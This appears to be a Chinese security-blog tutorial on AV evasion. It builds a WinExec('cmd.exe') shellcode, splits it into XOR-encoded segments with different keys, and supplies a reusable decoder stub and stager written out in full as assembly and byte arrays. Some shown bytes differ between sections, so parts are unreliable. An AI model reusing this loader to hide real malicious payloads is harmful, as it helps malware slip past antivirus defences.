天天看點

關于分段免殺執行的思考

我們在寫shellcode時候,做分段免殺執行時,如何做到邊解碼然後執行再調用解碼,解碼後再執行?就是分段執行而且解密的密鑰是不一樣的,對于這個問題,我們應該想想這三個問題。

1、如何寫出通用的解碼子?

2、如何才能調到解碼子的解碼部分首位址?

3、如何才能跳到剛解碼的shellcode首位址?

這三個問題想明白了,就能實作了

下面我們利用xor用不同秘鑰加密彈出cmd程式來說明

0x00寫出我們的程式

#include "stdio.h"
#include "windows.h"
#include <string.h>
#include "stdlib.h"
int main(int argc, char* argv[])
{
       char *str="cmd.exe";
  __asm{
              mov eax,str
              push 5                         ;5=SW_SHOW
              push eax
              mov eax,0x7731dab0
              //0x7731dab0
              //call dword ptr [WinExec]
              call eax

       }
       return 0;
}           

複制

0x7731dab0是winexec函數位址

0x01 轉成shellcode形式

#include "stdio.h"
#include "windows.h"
#include <string.h>
#include "stdlib.h"
char shellcode[]="\x8B\x45\xFc\x6A\x05\x50\xB8\xB0\xDA\x50\x75\xFF\xD0";
int main(int argc, char* argv[])
{
    char *str="cmd.exe";
    __asm{
        lea eax,shellcode
        call eax
    }
    return 0;
}           

複制

運作看一下能不能執行

0x02 xor加密

我們用三個秘鑰對上面的shellcode加密,值分别為0x51,0x47,0x81,根據秘鑰個數對shellcode分段,分成三段,0x51對對\x8B\x45\xFc加密,0x47對\x6A\x05\x50\xB8\xB0\xDA\x50\x75加密,0x81對\xFF\xD0加密(一條語句的機器碼不能分開),在每段後面加上\x90,加個\x90是控制解密的個數,這樣我們可以想解密到哪裡就解密到哪裡,加密後的shellcode為

\xda\x14\xad\xc1

\x2d\x42\x17\xff\xf7\x9d\x17\x32\xd7

\x7e\x51\x11

0x03 寫出通用的解碼子

decode:            mov bl,byte ptr ds:[ecx+edx]
        xor bl,bh
        mov byte ptr ds:[ecx+edx],bl
        inc edx
        cmp bl,90h
        je execute
        jmp decode

execute:    
        add ecx,edx        //ecx加上解碼的數目
        ret           

複制

利用bh存儲秘鑰,通過解密出來的bl和90h比較來,如果解密出來是90h,停止解密,跳到execte出執行,最後傳回,這裡必須要用ret,因為這段程式要放到我們加密的shellcode前面,如果沒有ret,程式将去執行shellcode,而後面還有shellocde将不會解密,我們要分段執行,是以解密之後我們還要回到原來調用解密的地方,便于後面的操作。

找出下面這段程式機器碼放在第一段shellcode之前

__asm{
        xor edx,edx
        mov bh,51h        //bh存儲key

decode:    mov bl,byte ptr ds:[ecx+edx]
        xor bl,bh
        mov byte ptr ds:[ecx+edx],bl
        inc edx
        cmp bl,90h
        je execute
        jmp decode

execute:    
        add ecx,edx        //ecx加上解碼的數目
        ret

    }           

複制

0x04 邏輯處理語句

這裡的邏輯處理語句是放在每段shellcode之間,做到存儲和取解碼子的解碼部分首位址,跳到剛解碼的shellcode首位址的功能,并且能夠修改秘鑰值。

__asm{
        push edx    //将decode首位址也入棧
        add ecx,19    //這個是讓ecx的值等于下一個shellcdoe首位址

        push ecx    //下一個shellcode首位址壓入棧
        push eax    //将eax壓入棧中(因為我們執行的代碼中利用eax進行,eax值不能變)
        mov eax,edx    //将decode首位址傳給eax
        xor edx,edx
        mov bh,47h    //第二段key,各段shellcode的key不同,要修改
        call eax    
        pop eax
        pop ebx        //shellcode首位址
        pop edx        //decode首位址
        jmp ebx        //到shellcode出執行
    }           

複制

每次執行完解碼後的shellcode都會來執行這段語句,edx存放解碼子的首位址,call eax會去解碼,jmp ebx會去執行解碼後的shellcode。從上面的代碼解決了如何才能調到解碼子的解碼部分首位址的問題,通過一開始找到解碼的首位址,壓入棧,然後每次解碼完,都彈出來給一個寄存器,執行完解碼就去執行shellcode,執行完shellcode根據彈出來的解碼首位址,再去解碼。

找出這段程式機器碼放在每段shellcode之間

0x05 定位shellcode首位址

分段解密執行,我們知道各段shellcode的首位址是不同的,怎麼才能夠找到能各段的shellcode首位址呢?

解密前,我們把下一個要解密的shellcode首位址壓入棧,在執行call eax時,ecx的值是下一個要執行shellcode的首位址,解碼子裡有add ecx,edx,是以解碼完ecx是下一個要執行的shellcode的尾位址再加1,再執行add ecx,19,19是邏輯處理那段的機器碼數目,之後ecx就是下下個要執行的shllcode首位址,再通過出棧壓棧,我們都能找到要執行shllcode首位址

0x06 最終程式

#include "stdio.h"
#include "windows.h"
#include <string.h>
#include "stdlib.h"

unsigned char encode[]="\x33\xD2\xB7\x51\x3E\x8A\x1C\x11\x32\xDF\x3E\x88\x1C\x11\x42\x80\xFB\x90\x74\x02\xEB\xEE\x03\xCA\xC3"
"\xda\x14\xad\xc1"
"\x52\x83\xC1\x13\x51\x50\x8B\xC2\x33\xD2\xB7\x47\xFF\xD0\x58\x5B\x5A\xFF\xE3"
"\x2d\x42\x17\xff\xf7\x9d\x76\x30\xd7"
"\x52\x83\xC1\x13\x51\x50\x8B\xC2\x33\xD2\xB7\x81\xFF\xD0\x58\x5B\x5A\xFF\xE3"
"\x7e\x51\x11";

int main(int argc, char* argv[])
{
    char *str="cmd.exe";

    __asm{
        lea ecx,encode        //擷取encode+shellcode編碼的位址
        mov edx,ecx
        add ecx,25            //ecx存儲第一個shellcode首位址,從xor edx,edx到ret,這段的機器碼
        push ecx            //第一個shellcode壓入站首位址            
        sub ecx,21            //解碼decode首位址,21第一個shellcode到解碼的機器碼數
        push ecx            //壓入棧
        add ecx,21
        call edx            //解碼
        pop edx                //解碼首位址            
        pop ebx                //第一個shellccode首位址
        jmp ebx
    }

    return 0;

}           

複制

結果:

關于分段免殺執行的思考

程式在開始時候,就把第一段shellcode首位址和解碼子首位址壓入棧,接着調用解碼程式去解碼第一段shellcode,解碼完傳回,接着彈出第一段shellcode首位址和解碼子首位址,利用jmp去執行解碼後的第一段shellcode,執行完,去執行0x04内容,根據彈出來的解碼子首位址,再去解碼第二段shellcode,然後執行,依次類推

0x07 總結

1、解碼執行第二段代碼的密鑰在第一段裡面

2、利用好ret,解碼後傳回

3、多利用push,pop,比如shllcode首位址和解碼子首位址的入棧、出棧

*本文原創作者:好好學習er,本文屬于FreeBuf原創獎勵計劃,未經許可禁止轉載